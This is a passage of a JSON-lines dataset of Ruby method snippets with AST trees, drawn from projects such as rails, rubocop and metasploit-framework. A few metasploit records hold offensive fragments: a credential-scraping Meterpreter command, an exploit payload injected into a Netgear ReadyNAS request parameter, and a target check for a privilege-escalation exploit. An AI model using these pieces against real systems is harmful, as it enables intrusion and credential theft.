human\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"found_interest\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"created_human\"]},\"interests\"]},\"unscope\",{\"type\":\"sym\",\"children\":[\"where\"]}]},\"detect\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"this_interest\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"interest\"]},\"id\"]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"this_interest\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"human\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"found_interest\"]},\"human\"]}]}]}]}","id":"f7f8fc24-0cb2-447c-bc82-0579c922e8f9"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/layout/space_inside_array_literal_brackets.rb","start_line":218,"raw_source":"def compact_corrections(corrector, node, left, right)\n          if multi_dimensional_array?(node, left, side: :left)\n            compact(corrector, left, :right)\n          elsif !left.space_after?\n            corrector.insert_after(left.pos, ' ')\n          end\n\n          if multi_dimensional_array?(node, right)\n            compact(corrector, right, :left)\n          elsif !right.space_before?\n            corrector.insert_before(right.pos, ' ')\n          end\n        end","complexity_score":18.4,"ast_json":"{\"type\":\"def\",\"children\":[\"compact_corrections\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]},{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"left\"]},{\"type\":\"arg\",\"children\":[\"right\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multi_dimensional_array?\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"side\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"compact\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"left\"]},{\"type\":\"sym\",\"children\":[\"right\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"space_after?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_after\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"pos\"]},{\"type\":\"str\",\"children\":[\" \"]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"multi_dimensional_array?\",{\"type\":\"lvar\",\"children\":[\"node\"]},{\"type\":\"lvar\",\"children\":[\"right\"]}]},{\"type\":\"send\",\"children\":[null,\"compact\",{\"type\":\"lvar\",\"children\":[\"corrector\"]},{\"type\":\"lvar\",\"children\":[\"right\"]},{\"type\":\"sym\",\"children\":[\"left\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"space_before?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"insert_before\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"right\"]},\"pos\"]},{\"type\":\"str\",\"children\":[\" \"]}]},null]}]}]}]}","id":"0b30ee9e-0a97-42bc-8351-8acd644d15ab"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb","start_line":54,"raw_source":"def check\n    score = 0\n    score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')\n    score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')\n    score += 1 if exists?('/var/www/shtml/translate.php')\n    vprint_status(\"Found #{score} indicators this is a Progress Flowmon product\")\n    return CheckCode::Detected if score > 0\n\n    return CheckCode::Safe\n  end","complexity_score":20.18,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"score\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/var/www/shtml/index.php\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"FlowMon\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"score\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"read_file\",{\"type\":\"str\",\"children\":[\"/var/www/shtml/ui/manifest.json\"]}]},\"include?\",{\"type\":\"str\",\"children\":[\"Flowmon Web Interface\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"score\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"exists?\",{\"type\":\"str\",\"children\":[\"/var/www/shtml/translate.php\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"score\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},null]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Found \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]}]},{\"type\":\"str\",\"children\":[\" indicators this is a Progress Flowmon product\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"score\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Detected\"]}]},null]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}","id":"af728285-437b-4e97-acb8-81b97784339c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/kiwi.rb","start_line":489,"raw_source":"def cmd_creds_ssp(*args)\n    method = Proc.new { client.kiwi.creds_ssp }\n    scrape_passwords('ssp', method, args)\n  end","complexity_score":7.9,"ast_json":"{\"type\":\"def\",\"children\":[\"cmd_creds_ssp\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Proc\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"kiwi\"]},\"creds_ssp\"]}]}]},{\"type\":\"send\",\"children\":[null,\"scrape_passwords\",{\"type\":\"str\",\"children\":[\"ssp\"]},{\"type\":\"lvar\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"args\"]}]}]}]}","id":"bd0d380f-34d4-4127-b6e7-a327c2598080"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/netgear_readynas_exec.rb","start_line":71,"raw_source":"def send_request_payload(payload)\n    res = send_request_cgi({\n      'uri' => normalize_uri(\"/np_handler\", \"\"),\n      'vars_get' => {\n        'PAGE' => 'Nasstate',\n        'OPERATION' => 'get',\n        'SECTION' => payload\n      }\n    })\n    return res\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"send_request_payload\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"str\",\"children\":[\"/np_handler\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PAGE\"]},{\"type\":\"str\",\"children\":[\"Nasstate\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"OPERATION\"]},{\"type\":\"str\",\"children\":[\"get\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SECTION\"]},{\"type\":\"lvar\",\"children\":[\"payload\"]}]}]}]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]}]}]}","id":"655a84f5-cae6-41b8-a83f-57d52fa10b75"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/activerecord/polymorphic_routes_test.rb","start_line":280,"raw_source":"def test_with_record_and_action\n    with_test_routes do\n      assert_equal \"http://example.com/projects/new\", polymorphic_url(@project, action: \"new\")\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_with_record_and_action\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_test_routes\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"http://example.com/projects/new\"]},{\"type\":\"send\",\"children\":[null,\"polymorphic_url\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"new\"]}]}]}]}]}]}]}","id":"1d063513-1d0d-4156-b934-0d291f96bbbd"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/adjustable/promotion_accumulator.rb","start_line":65,"raw_source":"def add(array, object, id)\n        array << object if array.none? { |a| a.id == id }\n      end","complexity_score":6.5,"ast_json":"{\"type\":\"def\",\"children\":[\"add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"array\"]},{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"arg\",\"children\":[\"id\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"none?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"a\"]},\"id\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"array\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"object\"]}]},null]}]}","id":"3a455fb5-ec13-40ac-b091-71b2e0be34b1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/projects/panel.rb","start_line":50,"raw_source":"def third_party_wiki_menu\n        return unless ::Sidebars::Projects::Menus::ConfluenceMenu.new(context).render?\n\n        ::Sidebars::Projects::Menus::ConfluenceMenu\n      end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"third_party_wiki_menu\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"Projects\"]},\"Menus\"]},\"ConfluenceMenu\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"context\"]}]},\"render?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"Projects\"]},\"Menus\"]},\"ConfluenceMenu\"]}]}]}","id":"6bf564b2-3210-4330-adc6-763ba42323ad"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/supervisor.rb","start_line":1024,"raw_source":"def install_main_process_command_handlers\n      command_pipe = $stdin.dup\n      $stdin.reopen(File::NULL, \"rb\")\n      command_pipe.binmode\n      command_pipe.sync = true\n\n      Thread.new do\n        loop do\n          cmd = command_pipe.gets\n          break unless cmd\n\n          case cmd.chomp!\n          when \"GRACEFUL_STOP\", \"IMMEDIATE_STOP\"\n            $log.debug \"fluentd main process get #{cmd} command\"\n            @finished = true\n            $log.debug \"getting start to shutdown main process\"\n            Fluent::Engine.stop\n            break\n          when \"GRACEFUL_RESTART\"\n            $log.debug \"fluentd main process get #{cmd} command\"\n            flush_buffer\n          when \"RELOAD\"\n            $log.debug \"fluentd main process get #{cmd} command\"\n            reload_config\n          when \"DUMP\"\n            $log.debug \"fluentd main process get #{cmd} command\"\n            dump_windows\n          else\n            $log.warn \"fluentd main process get unknown command [#{cmd}]\"\n          end\n        end\n      end\n    end","complexity_score":37.7,"ast_json":"{\"type\":\"def\",\"children\":[\"install_main_process_command_handlers\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"command_pipe\",{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdin\"]},\"dup\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$stdin\"]},\"reopen\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"NULL\"]},{\"type\":\"str\",\"children\":[\"rb\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_pipe\"]},\"binmode\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_pipe\"]},\"sync=\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"command_pipe\"]},\"gets\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},null,{\"type\":\"break\",\"children\":[]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]},\"chomp!\"]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GRACEFUL_STOP\"]},{\"type\":\"str\",\"children\":[\"IMMEDIATE_STOP\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"fluentd main process get \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" command\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@finished\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"str\",\"children\":[\"getting start to shutdown main process\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Engine\"]},\"stop\"]},{\"type\":\"break\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"GRACEFUL_RESTART\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"fluentd main process get \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" command\"]}]}]},{\"type\":\"send\",\"children\":[null,\"flush_buffer\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"RELOAD\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"fluentd main process get \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" command\"]}]}]},{\"type\":\"send\",\"children\":[null,\"reload_config\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"str\",\"children\":[\"DUMP\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"debug\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"fluentd main process get \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\" command\"]}]}]},{\"type\":\"send\",\"children\":[null,\"dump_windows\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"gvar\",\"children\":[\"$log\"]},\"warn\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"fluentd main process get unknown command [\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]}]}]}]}]}]}]}","id":"cb661428-5f5d-4084-a0b8-db6e9d381887"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/web/comm.rb","start_line":46,"raw_source":"def on_session_open(session)\n      pipe = Comm.create_session_pipe(session)\n\n      session.init_ui(pipe, pipe)\n    end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"on_session_open\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"session\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"pipe\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Comm\"]},\"create_session_pipe\",{\"type\":\"lvar\",\"children\":[\"session\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"session\"]},\"init_ui\",{\"type\":\"lvar\",\"children\":[\"pipe\"]},{\"type\":\"lvar\",\"children\":[\"pipe\"]}]}]}]}","id":"3a32fc64-836a-4c67-97ed-c0b00868552e"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/spec/okjson.rb","start_line":89,"raw_source":"def objparse(ts)\n    ts = eat('{', ts)\n    obj = {}\n\n    if ts[0][0] == '}'\n      return obj, ts[1..-1]\n    end\n\n    k, v, ts = pairparse(ts)\n    obj[k] = v\n\n    if ts[0][0] == '}'\n      return obj, ts[1..-1]\n    end\n\n    loop do\n      ts = eat(',', ts)\n\n      k, v, ts = pairparse(ts)\n      obj[k] = v\n\n      if ts[0][0] == '}'\n        return obj, ts[1..-1]\n      end\n    end\n  end","complexity_score":38.7,"ast_json":"{\"type\":\"def\",\"children\":[\"objparse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ts\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"send\",\"children\":[null,\"eat\",{\"type\":\"str\",\"children\":[\"{\"]},{\"type\":\"lvar\",\"children\":[\"ts\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"obj\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\"]},{\"type\":\"lvasgn\",\"children\":[\"v\"]},{\"type\":\"lvasgn\",\"children\":[\"ts\"]}]},{\"type\":\"send\",\"children\":[null,\"pairparse\",{\"type\":\"lvar\",\"children\":[\"ts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ts\",{\"type\":\"send\",\"children\":[null,\"eat\",{\"type\":\"str\",\"children\":[\",\"]},{\"type\":\"lvar\",\"children\":[\"ts\"]}]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"k\"]},{\"type\":\"lvasgn\",\"children\":[\"v\"]},{\"type\":\"lvasgn\",\"children\":[\"ts\"]}]},{\"type\":\"send\",\"children\":[null,\"pairparse\",{\"type\":\"lvar\",\"children\":[\"ts\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"==\",{\"type\":\"str\",\"children\":[\"}\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obj\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ts\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[-1]}]}]}]},null]}]}]}]}]}","id":"72a8656f-1c4b-4733-8634-012919d598ef"}
{"repo_name":"rails","file_path":"./repos/rails/activestorage/lib/active_storage/previewer.rb","start_line":73,"raw_source":"def service_name\n        # ActiveStorage::Service::DiskService => Disk\n        blob.service.class.to_s.split(\"::\").third.remove(\"Service\")\n      end","complexity_score":11.2,"ast_json":"{\"type\":\"def\",\"children\":[\"service_name\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blob\"]},\"service\"]},\"class\"]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"::\"]}]},\"third\"]},\"remove\",{\"type\":\"str\",\"children\":[\"Service\"]}]}]}","id":"d81e26c4-8635-44bb-a774-97ec8756f8a1"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/payloads/win32/kernel/recovery.rb","start_line":18,"raw_source":"def self.default(opts = {})\n    spin(opts)\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"default\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"spin\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]}]}","id":"d04bfe3e-c679-4543-b284-770ae3897784"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/miq_report.rb","start_line":245,"raw_source":"def remove_loading_relations_for_virtual_custom_attributes\n    vc_attributes = CustomAttributeMixin.select_virtual_custom_attributes(cols).present?\n    include.delete(:custom_attributes) if vc_attributes.present? && include && include[:custom_attributes].blank?\n  end","complexity_score":20.7,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_loading_relations_for_virtual_custom_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"vc_attributes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CustomAttributeMixin\"]},\"select_virtual_custom_attributes\",{\"type\":\"send\",\"children\":[null,\"cols\"]}]},\"present?\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vc_attributes\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"include\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"custom_attributes\"]}]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"include\"]},\"delete\",{\"type\":\"sym\",\"children\":[\"custom_attributes\"]}]},null]}]}]}","id":"9db72b8a-36c6-49b8-9ede-f3a480777e22"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_app_status.rb","start_line":40,"raw_source":"def test_bad_token\n    @app.instance_variable_set(:@auth_token, \"abcdef\")\n\n    status, _, _ = lint('/whatever')\n\n    assert_equal 403, status\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"test_bad_token\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@app\"]},\"instance_variable_set\",{\"type\":\"sym\",\"children\":[\"@auth_token\"]},{\"type\":\"str\",\"children\":[\"abcdef\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"status\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]},{\"type\":\"lvasgn\",\"children\":[\"_\"]}]},{\"type\":\"send\",\"children\":[null,\"lint\",{\"type\":\"str\",\"children\":[\"/whatever\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[403]},{\"type\":\"lvar\",\"children\":[\"status\"]}]}]}]}","id":"e90b244f-50c8-4380-afbd-03427e5f03e5"}
{"repo_name":"openproject","file_path":"./repos/openproject/db/migrate/20250908072653_create_calculated_value_errors.rb","start_line":32,"raw_source":"def change\n    create_table :calculated_value_errors do |t|\n      t.references :customized, polymorphic: true, null: false\n      t.references :custom_field, foreign_key: true\n      t.string :error_code, null: false\n      t.integer :missing_custom_field_ids, array: true, default: [], null: false\n\n      t.timestamps\n    end\n\n    add_index :calculated_value_errors,\n              %i[customized_type customized_id custom_field_id error_code],\n              unique: true,\n              name: \"index_unique_calc_val_error_per_customized_and_cf\"\n  